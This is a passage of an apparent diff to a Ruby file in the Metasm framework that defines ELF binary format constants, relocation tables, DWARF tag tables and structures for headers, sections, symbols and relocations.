'LO16', 7 => 'GPREL16', - 8 => 'LITERAL', 9 => 'GOT16', 10 => 'PC16', - 11 => 'CALL16', 12 => 'GPREL32', - 16 => 'SHIFT5', 17 => 'SHIFT6', 18 => '64', - 19 => 'GOT_DISP', 20 => 'GOT_PAGE', 21 => 'GOT_OFST', - 22 => 'GOT_HI16', 23 => 'GOT_LO16', 24 => 'SUB', - 25 => 'INSERT_A', 26 => 'INSERT_B', 27 => 'DELETE', - 28 => 'HIGHER', 29 => 'HIGHEST', 30 => 'CALL_HI16', - 31 => 'CALL_LO16', 32 => 'SCN_DISP', 33 => 'REL16', - 34 => 'ADD_IMMEDIATE', 35 => 'PJUMP', 36 => 'RELGOT', - 37 => 'JALR', 38 => 'TLS_DTPMOD32', 39 => 'TLS_DTPREL32', - 40 => 'TLS_DTPMOD64', 41 => 'TLS_DTPREL64', - 42 => 'TLS_GD', 43 => 'TLS_LDM', 44 => 'TLS_DTPREL_HI16', - 45 => 'TLS_DTPREL_LO16', 46 => 'TLS_GOTTPREL', - 47 => 'TLS_TPREL32', 48 => 'TLS_TPREL64', - 49 => 'TLS_TPREL_HI16', 50 => 'TLS_TPREL_LO16', - 51 => 'GLOB_DAT', 52 => 'NUM' }, - 'PPC' => { 0 => 'NONE', - 1 => 'ADDR32', 2 => 'ADDR24', 3 => 'ADDR16', - 4 => 'ADDR16_LO', 5 => 'ADDR16_HI', 6 => 'ADDR16_HA', - 7 => 'ADDR14', 8 => 'ADDR14_BRTAKEN', 9 => 'ADDR14_BRNTAKEN', - 10 => 'REL24', 11 => 'REL14', - 12 => 'REL14_BRTAKEN', 13 => 'REL14_BRNTAKEN', - 14 => 'GOT16', 15 => 'GOT16_LO', - 16 => 'GOT16_HI', 17 => 'GOT16_HA', - 18 => 'PLTREL24', 19 => 'COPY', - 20 => 'GLOB_DAT', 21 => 'JMP_SLOT', - 22 => 'RELATIVE', 23 => 'LOCAL24PC', - 24 => 'UADDR32', 25 => 'UADDR16', - 26 => 'REL32', 27 => 'PLT32', - 28 => 'PLTREL32', 29 => 'PLT16_LO', - 30 => 'PLT16_HI', 31 => 'PLT16_HA', - 32 => 'SDAREL16', 33 => 'SECTOFF', - 34 => 'SECTOFF_LO', 35 => 'SECTOFF_HI', - 36 => 'SECTOFF_HA', 67 => 'TLS', - 68 => 'DTPMOD32', 69 => 'TPREL16', - 70 => 'TPREL16_LO', 71 => 'TPREL16_HI', - 72 => 'TPREL16_HA', 73 => 'TPREL32', - 74 => 'DTPREL16', 75 => 'DTPREL16_LO', - 76 => 'DTPREL16_HI', 77 => 'DTPREL16_HA', - 78 => 'DTPREL32', 79 => 'GOT_TLSGD16', - 80 => 'GOT_TLSGD16_LO', 81 => 'GOT_TLSGD16_HI', - 82 => 'GOT_TLSGD16_HA', 83 => 'GOT_TLSLD16', - 84 => 'GOT_TLSLD16_LO', 85 => 'GOT_TLSLD16_HI', - 86 => 'GOT_TLSLD16_HA', 87 => 'GOT_TPREL16', - 88 => 'GOT_TPREL16_LO', 89 => 'GOT_TPREL16_HI', - 90 => 'GOT_TPREL16_HA', 101 => 'EMB_NADDR32', - 102 => 'EMB_NADDR16', 103 => 'EMB_NADDR16_LO', - 104 => 'EMB_NADDR16_HI', 105 => 'EMB_NADDR16_HA', - 106 => 'EMB_SDAI16', 107 => 'EMB_SDA2I16', - 108 => 'EMB_SDA2REL', 109 => 'EMB_SDA21', - 110 => 'EMB_MRKREF', 111 => 'EMB_RELSEC16', - 112 => 'EMB_RELST_LO', 113 => 'EMB_RELST_HI', - 114 => 'EMB_RELST_HA', 115 => 'EMB_BIT_FLD', - 116 => 'EMB_RELSDA' }, - 'SPARC' => { 0 => 'NONE', 1 => '8', 2 => '16', 3 => '32', - 4 => 'DISP8', 5 => 'DISP16', 6 => 'DISP32', - 7 => 'WDISP30', 8 => 'WDISP22', 9 => 'HI22', - 10 => '22', 11 => '13', 12 => 'LO10', 13 => 'GOT10', - 14 => 'GOT13', 15 => 'GOT22', 16 => 'PC10', - 17 => 'PC22', 18 => 'WPLT30', 19 => 'COPY', - 20 => 'GLOB_DAT', 21 => 'JMP_SLOT', 22 => 'RELATIVE', - 23 => 'UA32', 24 => 'PLT32', 25 => 'HIPLT22', - 26 => 'LOPLT10', 27 => 'PCPLT32', 28 => 'PCPLT22', - 29 => 'PCPLT10', 30 => '10', 31 => '11', 32 => '64', - 33 => 'OLO10', 34 => 'HH22', 35 => 'HM10', 36 => 'LM22', - 37 => 'PC_HH22', 38 => 'PC_HM10', 39 => 'PC_LM22', - 40 => 'WDISP16', 41 => 'WDISP19', 42 => 'GLOB_JMP', - 43 => '7', 44 => '5', 45 => '6', 46 => 'DISP64', - 47 => 'PLT64', 48 => 'HIX22', 49 => 'LOX10', 50 => 'H44', - 51 => 'M44', 52 => 'L44', 53 => 'REGISTER', 54 => 'UA64', - 55 => 'UA16', 56 => 'TLS_GD_HI22', 57 => 'TLS_GD_LO10', - 58 => 'TLS_GD_ADD', 59 => 'TLS_GD_CALL', - 60 => 'TLS_LDM_HI22', 61 => 'TLS_LDM_LO10', - 62 => 'TLS_LDM_ADD', 63 => 'TLS_LDM_CALL', - 64 => 'TLS_LDO_HIX22', 65 => 'TLS_LDO_LOX10', - 66 => 'TLS_LDO_ADD', 67 => 'TLS_IE_HI22', - 68 => 'TLS_IE_LO10', 69 => 'TLS_IE_LD', - 70 => 'TLS_IE_LDX', 71 => 'TLS_IE_ADD', - 72 => 'TLS_LE_HIX22', 73 => 'TLS_LE_LOX10', - 74 => 'TLS_DTPMOD32', 75 => 'TLS_DTPMOD64', - 76 => 'TLS_DTPOFF32', 77 => 'TLS_DTPOFF64', - 78 => 'TLS_TPOFF32', 79 => 'TLS_TPOFF64' }, - 'X86_64' => { 0 => 'NONE', - 1 => '64', 2 => 'PC32', 3 => 'GOT32', 4 => 'PLT32', - 5 => 'COPY', 6 => 'GLOB_DAT', 7 => 'JMP_SLOT', - 8 => 'RELATIVE', 9 => 'GOTPCREL', 10 => '32', - 11 => '32S', 12 => '16', 13 => 'PC16', 14 => '8', - 15 => 'PC8', 16 => 'DTPMOD64', 17 => 'DTPOFF64', - 18 => 'TPOFF64', 19 => 'TLSGD', 20 => 'TLSLD', - 21 => 'DTPOFF32', 22 => 'GOTTPOFF', 23 => 'TPOFF32' } - } - - DEFAULT_INTERP = '/lib/ld-linux.so.2' - DEFAULT_INTERP64 = '/lib64/ld-linux-x86-64.so.2' - - class SerialStruct < Metasm::SerialStruct - new_int_field :addr, :off, :xword, :sword, :sxword - end - - class Header < SerialStruct - mem :magic, 4, MAGIC - byte :e_class, 0, CLASS - byte :data, 0, DATA - byte :i_version, 'CURRENT', VERSION - byte :abi, 0, ABI - byte :abi_version - mem :ident_unk, 7 - half :type, 0, TYPE - half :machine, 0, MACHINE - word :version, 'CURRENT', VERSION - addr :entry - off :phoff - off :shoff - word :flags - fld_bits(:flags) { |elf, hdr| FLAGS[hdr.machine] || {} } - halfs :ehsize, :phentsize, :phnum, :shentsize, :shnum, :shstrndx - - def self.size elf - x = elf.bitsize >> 3 - 40 + 3*x - end - end - - class Segment < SerialStruct - attr_accessor :type, :offset, :vaddr, :paddr, :filesz, :memsz, :flags, :align - attr_accessor :encoded - - def struct_specialized(elf) - return Segment32 if not elf - case elf.bitsize - when 32; Segment32 - else Segment64 - end - end - - def self.size elf - x = elf.bitsize >> 3 - 8 + 6*x - end - end - - class Segment32 < Segment - word :type, 0, PH_TYPE - off :offset - addr :vaddr - addr :paddr - xword :filesz - xword :memsz - word :flags ; fld_bits :flags, PH_FLAGS - xword :align - end - class Segment64 < Segment - word :type, 0, PH_TYPE - word :flags ; fld_bits :flags, PH_FLAGS - off :offset - addr :vaddr - addr :paddr - xword :filesz - xword :memsz - xword :align - end - - class Section < SerialStruct - word :name_p - word :type, 0, SH_TYPE - xword :flags ; fld_bits :flags, SH_FLAGS - addr :addr - off :offset - xword :size - word :link - word :info - xword :addralign - xword :entsize - - attr_accessor :name, :encoded - - def self.size elf - x = elf.bitsize >> 3 - 16 + 6*x - end - end - - class Symbol < SerialStruct - def struct_specialized(elf) - return Symbol32 if not elf - case elf.bitsize - when 32; Symbol32 - else Symbol64 - end - end - - attr_accessor :name_p, :value, :size, :bind, :type, :other, :shndx - attr_accessor :name, :thunk - - def self.size elf - x = elf.bitsize >> 3 - 8 + 2*x - end - end - - class Symbol32 < Symbol - word :name_p - addr :value - xword :size - bitfield :byte, 0 => :type, 4 => :bind - fld_enum :type, SYMBOL_TYPE - fld_enum :bind, SYMBOL_BIND - byte :other - half :shndx, 0, SH_INDEX - end - class Symbol64 < Symbol - word :name_p - bitfield :byte, 0 => :type, 4 => :bind - fld_enum :type, SYMBOL_TYPE - fld_enum :bind, SYMBOL_BIND - byte :other - half :shndx, 0, SH_INDEX - addr :value - xword :size - end - - class Relocation < SerialStruct - attr_accessor :offset, :type, :symbol - def struct_specialized(elf) - return Relocation32 if not elf - case elf.bitsize - when 32; Relocation32 - else Relocation64 - end - end - - def addend ; end - - def self.size elf - x = elf.bitsize >> 3 - 2*x - end - - end - class Relocation32 < Relocation - addr :offset - bitfield :xword, 0 => :type, 8 => :symbol - fld_enum(:type) { |elf, rel| RELOCATION_TYPE[elf.header.machine] || {} } - fld_enum(:symbol) { |elf, rel| elf.symbols } - end - class Relocation64 < Relocation - addr :offset - bitfield :xword, 0 => :type, 32 => :symbol - fld_enum(:type) { |elf, rel| RELOCATION_TYPE[elf.header.machine] || {} } - fld_enum(:symbol) { |elf, rel| elf.symbols } - end - class RelocationAddend < Relocation - attr_accessor :addend - def struct_specialized(elf) - return RelocationAddend32 if not elf - case elf.bitsize - when 32; RelocationAddend32 - else RelocationAddend64 - end - end - def self.size elf - x = elf.bitsize >> 3 - 3*x - end - - end - class RelocationAddend32 < RelocationAddend - addr :offset - bitfield :xword, 0 => :type, 8 => :symbol - fld_enum(:type) { |elf, rel| RELOCATION_TYPE[elf.header.machine] || {} } - fld_enum(:symbol) { |elf, rel| elf.symbols } - sxword :addend - end - class RelocationAddend64 < RelocationAddend - addr :offset - bitfield :xword, 0 => :type, 32 => :symbol - fld_enum(:type) { |elf, rel| RELOCATION_TYPE[elf.header.machine] || {} } - fld_enum(:symbol) { |elf, rel| elf.symbols } - sxword :addend - end - - class SerialStruct - new_int_field :leb - end - - # libdwarf/dwarf.h - DWARF_TAG = { - 0x01 => 'ARRAY_TYPE', 0x02 => 'CLASS_TYPE', 0x03 => 'ENTRY_POINT', - 0x04 => 'ENUMERATION_TYPE', 0x05 => 'FORMAL_PARAMETER', - 0x08 => 'IMPORTED_DECLARATION', 0x0a => 'LABEL', 0x0b => 'LEXICAL_BLOCK', - 0x0d => 'MEMBER', 0x0f => 'POINTER_TYPE', - 0x10 => 'REFERENCE_TYPE', 0x11 => 'COMPILE_UNIT', 0x12 => 'STRING_TYPE', 0x13 => 'STRUCTURE_TYPE', - 0x15 => 'SUBROUTINE_TYPE', 0x16 => 'TYPEDEF', 0x17 => 'UNION_TYPE', - 0x18 => 'UNSPECIFIED_PARAMETERS', 0x19 => 'VARIANT', 0x1a => 'COMMON_BLOCK', 0x1b => 'COMMON_INCLUSION', - 0x1c => 'INHERITANCE', 0x1d => 'INLINED_SUBROUTINE', 0x1e => 'MODULE', 0x1f => 'PTR_TO_MEMBER_TYPE', - 0x20 => 'SET_TYPE', 0x21 => 'SUBRANGE_TYPE', 0x22 => 'WITH_STMT', 0x23 => 'ACCESS_DECLARATION', - 0x24 => 'BASE_TYPE', 0x25 => 'CATCH_BLOCK', 0x26 => 'CONST_TYPE', 0x27 => 'CONSTANT', - 0x28 => 'ENUMERATOR', 0x29 => 'FILE_TYPE', 0x2a => 'FRIEND', 0x2b => 'NAMELIST', - 0x2c => 'NAMELIST_ITEM', 0x2d => 'PACKED_TYPE', 0x2e => 'SUBPROGRAM', 0x2f => 'TEMPLATE_TYPE_PARAM', - 0x30 => 'TEMPLATE_VALUE_PARAM', 0x31 => 'THROWN_TYPE', 0x32 => 'TRY_BLOCK', 0x33 => 'VARIANT_PART', - 0x34 => 'VARIABLE', 0x35 => 'VOLATILE_TYPE', - } - DWARF_FORM = { - 0x01 => 'ADDR', 0x03 => 'BLOCK2', - 0x04 => 'BLOCK4', 0x05 => 'DATA2', 0x06 => 'DATA4', 0x07 => 'DATA8', - 0x08 => 'STRING', 0x09 => 'BLOCK', 0x0a => 'BLOCK1', 0x0b => 'DATA1', - 0x0c => 'FLAG', 0x0d => 'SDATA', 0x0e => 'STRP', 0x0f => 'UDATA', - 0x10 => 'REF_ADDR', 0x11 => 'REF1', 0x12 => 'REF2', 0x13 => 'REF4', - 0x14 => 'REF8', 0x15 => 'REF_UDATA', 0x16 => 'INDIRECT', - } - DWARF_AT = { - 0x01 => 'SIBLING', 0x02 => 'LOCATION', 0x03 => 'NAME', - 0x09 => 'ORDERING', 0x0a => 'SUBSCR_DATA', 0x0b => 'BYTE_SIZE', - 0x0c => 'BIT_OFFSET', 0x0d => 'BIT_SIZE', 0x0f => 'ELEMENT_LIST', - 0x10 => 'STMT_LIST', 0x11 => 'LOW_PC', 0x12 => 'HIGH_PC', 0x13 => 'LANGUAGE', - 0x14 => 'MEMBER', 0x15 => 'DISCR', 0x16 => 'DISCR_VALUE', 0x17 => 'VISIBILITY', - 0x18 => 'IMPORT', 0x19 => 'STRING_LENGTH', 0x1a => 'COMMON_REFERENCE', 0x1b => 'COMP_DIR', - 0x1c => 'CONST_VALUE', 0x1d => 'CONTAINING_TYPE', 0x1e => 'DEFAULT_VALUE', - 0x20 => 'INLINE', 0x21 => 'IS_OPTIONAL', 0x22 => 'LOWER_BOUND', - 0x25 => 'PRODUCER', 0x27 => 'PROTOTYPED', - 0x2a => 'RETURN_ADDR', - 0x2c => 'START_SCOPE', 0x2e => 'STRIDE_SIZE', 0x2f => 'UPPER_BOUND', - 0x31 => 'ABSTRACT_ORIGIN', 0x32 => 'ACCESSIBILITY', 0x33 => 'ADDRESS_CLASS', - 0x34 => 'ARTIFICIAL', 0x35 => 'BASE_TYPES', 0x36 => 'CALLING_CONVENTION', 0x37 => 'COUNT', - 0x38 => 'DATA_MEMBER_LOCATION', 0x39 => 'DECL_COLUMN', 0x3a => 'DECL_FILE', 0x3b => 'DECL_LINE', - 0x3c => 'DECLARATION', 0x3d => 'DISCR_LIST', 0x3e => 'ENCODING', 0x3f => 'EXTERNAL', - 0x40 => 'FRAME_BASE', 0x41 => 'FRIEND', 0x42 => 'IDENTIFIER_CASE', 0x43 => 'MACRO_INFO', - 0x44 => 'NAMELIST_ITEM', 0x45 => 'PRIORITY', 0x46 => 'SEGMENT', 0x47 => 'SPECIFICATION', - 0x48 => 'STATIC_LINK', 0x49 => 'TYPE', 0x4a => 'USE_LOCATION', 0x4b => 'VARIABLE_PARAMETER', - 0x4c => 'VIRTUALITY', 0x4d => 'VTABLE_ELEM_LOCATION', - } - - class DwarfDebug < SerialStruct - class Node < SerialStruct - leb :index - leb :tag, 0, DWARF_TAG - byte :has_child - attr_accessor :parent, :children, :attributes - class Attribute < SerialStruct - leb :attr, 0, DWARF_AT - leb :form, 0, DWARF_FORM - attr_accessor :data - def to_s(a); "#{@attr}=(#@form)#{dump(@data, a)}" end - end - end - - word :cu_len - half :version, 2 - word :abbrev_off - byte :ptr_sz - attr_accessor :tree # ary of root siblings (Node) - end - - def self.hash_symbol_name(name) - name.unpack('C*').inject(0) { |hash, char| - break hash if char == 0 - hash <<= 4 - hash += char - hash ^= (hash >> 24) & 0xf0 - hash &= 0x0fff_ffff - } - end - - def self.gnu_hash_symbol_name(name) - name.unpack('C*').inject(5381) { |hash, char| - break hash if char == 0 - (hash*33 + char) & 0xffff_ffff - } - end - - attr_accessor :header, :segments, :sections, :tag, :symbols, :relocations, :endianness, :bitsize, :debug - def initialize(cpu=nil) - @header = Header.new - @tag = {} - @symbols = [Symbol32.new] - @symbols.first.shndx = 'UNDEF' - @relocations = [] - @sections = [Section.new] - @sections.first.type = 'NULL' - @segments = [] - if cpu - @endianness = cpu.endianness - @bitsize = cpu.size - else - @endianness = :little - @bitsize = 32 - end - super(cpu) - end - - def shortname; 'elf'; end + MAGIC = "\x7fELF" # 0x7f454c46 + CLASS = { 0 => 'NONE', 1 => '32', 2 => '64', 200 => '64_icc' } + DATA = { 0 => 'NONE', 1 => 'LSB', 2 => 'MSB' } + VERSION = { 0 => 'INVALID', 1 => 'CURRENT' } + ABI = { 0 => 'SYSV', 1 => 'HPUX', 2 => 'NETBSD', 3 => 'LINUX', + 6 => 'SOLARIS', 7 => 'AIX', 8 => 'IRIX', 9 => 'FREEBSD', + 10 => 'TRU64', 11 => 'MODESTO', 12 => 'OPENBSD', 97 => 'ARM', + 255 => 'STANDALONE'} + TYPE = { 0 => 'NONE', 1 => 'REL', 2 => 'EXEC', 3 => 'DYN', 4 => 'CORE' } + TYPE_LOPROC = 0xff00 + TYPE_HIPROC = 0xffff + + MACHINE = { + 0 => 'NONE', 1 => 'M32', 2 => 'SPARC', 3 => '386', + 4 => '68K', 5 => '88K', 6 => '486', 7 => '860', + 8 => 'MIPS', 9 => 'S370', 10 => 'MIPS_RS3_LE', + 15 => 'PARISC', + 17 => 'VPP500',18 => 'SPARC32PLUS', 19 => '960', + 20 => 'PPC', 21 => 'PPC64', 22 => 'S390', + 36 => 'V800', 37 => 'FR20', 38 => 'RH32', 39 => 'MCORE', + 40 => 'ARM', 41 => 'ALPHA_STD', 42 => 'SH', 43 => 'SPARCV9', + 44 => 'TRICORE', 45 => 'ARC', 46 => 'H8_300', 47 => 'H8_300H', + 48 => 'H8S', 49 => 'H8_500', 50 => 'IA_64', 51 => 'MIPS_X', + 52 => 'COLDFIRE', 53 => '68HC12', 54 => 'MMA', 55 => 'PCP', + 56 => 'NCPU', 57 => 'NDR1', 58 => 'STARCORE', 59 => 'ME16', + 60 => 'ST100', 61 => 'TINYJ', 62 => 'X86_64', 63 => 'PDSP', + 66 => 'FX66', 67 => 'ST9PLUS', + 68 => 'ST7', 69 => '68HC16', 70 => '68HC11', 71 => '68HC08', + 72 => '68HC05',73 => 'SVX', 74 => 'ST19', 75 => 'VAX', + 76 => 'CRIS', 77 => 'JAVELIN',78 => 'FIREPATH', 79 => 'ZSP', + 80 => 'MMIX', 81 => 'HUANY', 82 => 'PRISM', 83 => 'AVR', + 84 => 'FR30', 85 => 'D10V', 86 => 'D30V', 87 => 'V850', + 88 => 'M32R', 89 => 'MN10300',90 => 'MN10200',91 => 'PJ', + 92 => 'OPENRISC', 93 => 'ARC_A5', 94 => 'XTENSA', + 99 => 'PJ', + 0x9026 => 'ALPHA' + } + + FLAGS = { + 'SPARC' => {0x100 => '32PLUS', 0x200 => 'SUN_US1', + 0x400 => 'HAL_R1', 0x800 => 'SUN_US3', + 0x8000_0000 => 'LEDATA'}, + 'SPARCV9' => {0 => 'TSO', 1 => 'PSO', 2 => 'RMO'}, # XXX not a flag + 'MIPS' => {1 => 'NOREORDER', 2 => 'PIC', 4 => 'CPIC', + 8 => 'XGOT', 16 => '64BIT_WHIRL', 32 => 'ABI2', + 64 => 'ABI_ON32'} + } + + DYNAMIC_TAG = { 0 => 'NULL', 1 => 'NEEDED', 2 => 'PLTRELSZ', 3 => + 'PLTGOT', 4 => 'HASH', 5 => 'STRTAB', 6 => 'SYMTAB', 7 => 'RELA', + 8 => 'RELASZ', 9 => 'RELAENT', 10 => 'STRSZ', 11 => 'SYMENT', + 12 => 'INIT', 13 => 'FINI', 14 => 'SONAME', 15 => 'RPATH', + 16 => 'SYMBOLIC', 17 => 'REL', 18 => 'RELSZ', 19 => 'RELENT', + 20 => 'PLTREL', 21 => 'DEBUG', 22 => 'TEXTREL', 23 => 'JMPREL', + 24 => 'BIND_NOW', + 25 => 'INIT_ARRAY', 26 => 'FINI_ARRAY', + 27 => 'INIT_ARRAYSZ', 28 => 'FINI_ARRAYSZ', + 29 => 'RUNPATH', 30 => 'FLAGS', 31 => 'ENCODING', + 32 => 'PREINIT_ARRAY', 33 => 'PREINIT_ARRAYSZ', + 0x6fff_fdf5 => 'GNU_PRELINKED', + 0x6fff_fdf6 => 'GNU_CONFLICTSZ', 0x6fff_fdf7 => 'LIBLISTSZ', + 0x6fff_fdf8 => 'CHECKSUM', 0x6fff_fdf9 => 'PLTPADSZ', + 0x6fff_fdfa => 'MOVEENT', 0x6fff_fdfb => 'MOVESZ', + 0x6fff_fdfc => 'FEATURE_1', 0x6fff_fdfd => 'POSFLAG_1', + 0x6fff_fdfe => 'SYMINSZ', 0x6fff_fdff => 'SYMINENT', + 0x6fff_fef5 => 'GNU_HASH', + 0x6fff_fef6 => 'TLSDESC_PLT', 0x6fff_fef7 => 'TLSDESC_GOT', + 0x6fff_fef8 => 'GNU_CONFLICT', 0x6fff_fef9 => 'GNU_LIBLIST', + 0x6fff_fefa => 'CONFIG', 0x6fff_fefb => 'DEPAUDIT', + 0x6fff_fefc => 'AUDIT', 0x6fff_fefd => 'PLTPAD', + 0x6fff_fefe => 'MOVETAB', 0x6fff_feff => 'SYMINFO', + 0x6fff_fff0 => 'VERSYM', 0x6fff_fff9 => 'RELACOUNT', + 0x6fff_fffa => 'RELCOUNT', 0x6fff_fffb => 'FLAGS_1', + 0x6fff_fffc => 'VERDEF', 0x6fff_fffd => 'VERDEFNUM', + 0x6fff_fffe => 'VERNEED', 0x6fff_ffff => 'VERNEEDNUM' + } + DYNAMIC_TAG_LOPROC = 0x7000_0000 + DYNAMIC_TAG_HIPROC = 0x7fff_ffff + + # for tags between DT_LOPROC and DT_HIPROC, use DT_PROC[header.machine][tag-DT_LOPROC] + DYNAMIC_TAG_PROC = { + 'MIPS' => { + 1 => 'RLD_VERSION', 2 => 'TIME_STAMP', 3 => 'ICHECKSUM', + 4 => 'IVERSION', 5 => 'M_FLAGS', 6 => 'BASE_ADDRESS', 7 => 'MSYM', + 8 => 'CONFLICT', 9 => 'LIBLIST', 0x0a => 'LOCAL_GOTNO', + 0x0b => 'CONFLICTNO', 0x10 => 'LIBLISTNO', 0x11 => 'SYMTABNO', + 0x12 => 'UNREFEXTNO', 0x13 => 'GOTSYM', 0x14 => 'HIPAGENO', + 0x16 => 'RLD_MAP', 0x17 => 'DELTA_CLASS', 0x18 => 'DELTA_CLASS_NO', + 0x19 => 'DELTA_INSTANCE', 0x1a => 'DELTA_INSTANCE_NO', + 0x1b => 'DELTA_RELOC', 0x1c => 'DELTA_RELOC_NO', 0x1d => 'DELTA_SYM', + 0x1e => 'DELTA_SYM_NO', 0x20 => 'DELTA_CLASSSYM', 0x21 => 'DELTA_CLASSSYM_NO', + 0x22 => 'CXX_FLAGS', 0x23 => 'PIXIE_INIT', 0x24 => 'SYMBOL_LIB', + 0x25 => 'LOCALPAGE_GOTIDX', 0x26 => 'LOCAL_GOTIDX', + 0x27 => 'HIDDEN_GOTIDX', 0x28 => 'PROTECTED_GOTIDX', + 0x29 => 'OPTIONS', 0x2a => 'INTERFACE', 0x2b => 'DYNSTR_ALIGN', + 0x2c => 'INTERFACE_SIZE', 0x2d => 'RLD_TEXT_RESOLVE_ADDR', + 0x2e => 'PERF_SUFFIX', 0x2f => 'COMPACT_SIZE', + 0x30 => 'GP_VALUE', 0x31 => 'AUX_DYNAMIC', + } + } + + + DYNAMIC_FLAGS = { 1 => 'ORIGIN', 2 => 'SYMBOLIC', 4 => 'TEXTREL', + 8 => 'BIND_NOW', 0x10 => 'STATIC_TLS' } + DYNAMIC_FLAGS_1 = { 1 => 'NOW', 2 => 'GLOBAL', 4 => 'GROUP', + 8 => 'NODELETE', 0x10 => 'LOADFLTR', 0x20 => 'INITFIRST', + 0x40 => 'NOOPEN', 0x80 => 'ORIGIN', 0x100 => 'DIRECT', + 0x200 => 'TRANS', 0x400 => 'INTERPOSE', 0x800 => 'NODEFLIB', + 0x1000 => 'NODUMP', 0x2000 => 'CONFALT', 0x4000 => 'ENDFILTEE', + 0x8000 => 'DISPRELDNE', 0x10000 => 'DISPRELPND' } + DYNAMIC_FEATURE_1 = { 1 => 'PARINIT', 2 => 'CONFEXP' } + DYNAMIC_POSFLAG_1 = { 1 => 'LAZYLOAD', 2 => 'GROUPPERM' } + + PH_TYPE = { 0 => 'NULL', 1 => 'LOAD', 2 => 'DYNAMIC', 3 => 'INTERP', + 4 => 'NOTE', 5 => 'SHLIB', 6 => 'PHDR', 7 => 'TLS', + 0x6474e550 => 'GNU_EH_FRAME', 0x6474e551 => 'GNU_STACK', + 0x6474e552 => 'GNU_RELRO' } + PH_TYPE_LOPROC = 0x7000_0000 + PH_TYPE_HIPROC = 0x7fff_ffff + PH_FLAGS = { 1 => 'X', 2 => 'W', 4 => 'R' } + + SH_TYPE = { 0 => 'NULL', 1 => 'PROGBITS', 2 => 'SYMTAB', 3 => 'STRTAB', + 4 => 'RELA', 5 => 'HASH', 6 => 'DYNAMIC', 7 => 'NOTE', + 8 => 'NOBITS', 9 => 'REL', 10 => 'SHLIB', 11 => 'DYNSYM', + 14 => 'INIT_ARRAY', 15 => 'FINI_ARRAY', 16 => 'PREINIT_ARRAY', + 17 => 'GROUP', 18 => 'SYMTAB_SHNDX', + 0x6fff_fff6 => 'GNU_HASH', 0x6fff_fff7 => 'GNU_LIBLIST', + 0x6fff_fff8 => 'GNU_CHECKSUM', + 0x6fff_fffd => 'GNU_verdef', 0x6fff_fffe => 'GNU_verneed', + 0x6fff_ffff => 'GNU_versym' } + SH_TYPE_LOOS = 0x6000_0000 + SH_TYPE_HIOS = 0x6fff_ffff + SH_TYPE_LOPROC = 0x7000_0000 + SH_TYPE_HIPROC = 0x7fff_ffff + SH_TYPE_LOUSER = 0x8000_0000 + SH_TYPE_HIUSER = 0xffff_ffff + + SH_FLAGS = { 1 => 'WRITE', 2 => 'ALLOC', 4 => 'EXECINSTR', + 0x10 => 'MERGE', 0x20 => 'STRINGS', 0x40 => 'INFO_LINK', + 0x80 => 'LINK_ORDER', 0x100 => 'OS_NONCONFORMING', + 0x200 => 'GROUP', 0x400 => 'TLS' } + SH_FLAGS_MASKPROC = 0xf000_0000 + + SH_INDEX = { 0 => 'UNDEF', + 0xfff1 => 'ABS', 0xfff2 => 'COMMON', + 0xffff => 'XINDEX', } + SH_INDEX_LORESERVE = 0xff00 + SH_INDEX_LOPROC = 0xff00 + SH_INDEX_HIPROC = 0xff1f + SH_INDEX_LOOS = 0xff20 + SH_INDEX_HIOS = 0xff3f + SH_INDEX_HIRESERVE = 0xffff + + SYMBOL_BIND = { 0 => 'LOCAL', 1 => 'GLOBAL', 2 => 'WEAK' } + SYMBOL_BIND_LOPROC = 13 + SYMBOL_BIND_HIPROC = 15 + + SYMBOL_TYPE = { 0 => 'NOTYPE', 1 => 'OBJECT', 2 => 'FUNC', + 3 => 'SECTION', 4 => 'FILE', 5 => 'COMMON', 6 => 'TLS' } + SYMBOL_TYPE_LOPROC = 13 + SYMBOL_TYPE_HIPROC = 15 + + SYMBOL_VISIBILITY = { 0 => 'DEFAULT', 1 => 'INTERNAL', 2 => 'HIDDEN', 3 => 'PROTECTED' } + + RELOCATION_TYPE = { # key are in MACHINE.values + '386' => { 0 => 'NONE', 1 => '32', 2 => 'PC32', 3 => 'GOT32', + 4 => 'PLT32', 5 => 'COPY', 6 => 'GLOB_DAT', + 7 => 'JMP_SLOT', 8 => 'RELATIVE', 9 => 'GOTOFF', + 10 => 'GOTPC', 11 => '32PLT', 12 => 'TLS_GD_PLT', + 13 => 'TLS_LDM_PLT', 14 => 'TLS_TPOFF', 15 => 'TLS_IE', + 16 => 'TLS_GOTIE', 17 => 'TLS_LE', 18 => 'TLS_GD', + 19 => 'TLS_LDM', 20 => '16', 21 => 'PC16', 22 => '8', + 23 => 'PC8', 24 => 'TLS_GD_32', 25 => 'TLS_GD_PUSH', + 26 => 'TLS_GD_CALL', 27 => 'TLS_GD_POP', + 28 => 'TLS_LDM_32', 29 => 'TLS_LDM_PUSH', + 30 => 'TLS_LDM_CALL', 31 => 'TLS_LDM_POP', + 32 => 'TLS_LDO_32', 33 => 'TLS_IE_32', + 34 => 'TLS_LE_32', 35 => 'TLS_DTPMOD32', + 36 => 'TLS_DTPOFF32', 37 => 'TLS_TPOFF32' }, + 'ARM' => { 0 => 'NONE', 1 => 'PC24', 2 => 'ABS32', 3 => 'REL32', + 4 => 'PC13', 5 => 'ABS16', 6 => 'ABS12', + 7 => 'THM_ABS5', 8 => 'ABS8', 9 => 'SBREL32', + 10 => 'THM_PC22', 11 => 'THM_PC8', 12 => 'AMP_VCALL9', + 13 => 'SWI24', 14 => 'THM_SWI8', 15 => 'XPC25', + 16 => 'THM_XPC22', 20 => 'COPY', 21 => 'GLOB_DAT', + 22 => 'JUMP_SLOT', 23 => 'RELATIVE', 24 => 'GOTOFF', + 25 => 'GOTPC', 26 => 'GOT32', 27 => 'PLT32', + 100 => 'GNU_VTENTRY', 101 => 'GNU_VTINHERIT', + 250 => 'RSBREL32', 251 => 'THM_RPC22', 252 => 'RREL32', + 253 => 'RABS32', 254 => 'RPC24', 255 => 'RBASE' }, + 'IA_64' => { 0 => 'NONE', + 0x21 => 'IMM14', 0x22 => 'IMM22', 0x23 => 'IMM64', + 0x24 => 'DIR32MSB', 0x25 => 'DIR32LSB', + 0x26 => 'DIR64MSB', 0x27 => 'DIR64LSB', + 0x2a => 'GPREL22', 0x2b => 'GPREL64I', + 0x2c => 'GPREL32MSB', 0x2d => 'GPREL32LSB', + 0x2e => 'GPREL64MSB', 0x2f => 'GPREL64LSB', + 0x32 => 'LTOFF22', 0x33 => 'LTOFF64I', + 0x3a => 'PLTOFF22', 0x3b => 'PLTOFF64I', + 0x3e => 'PLTOFF64MSB', 0x3f => 'PLTOFF64LSB', + 0x43 => 'FPTR64I', 0x44 => 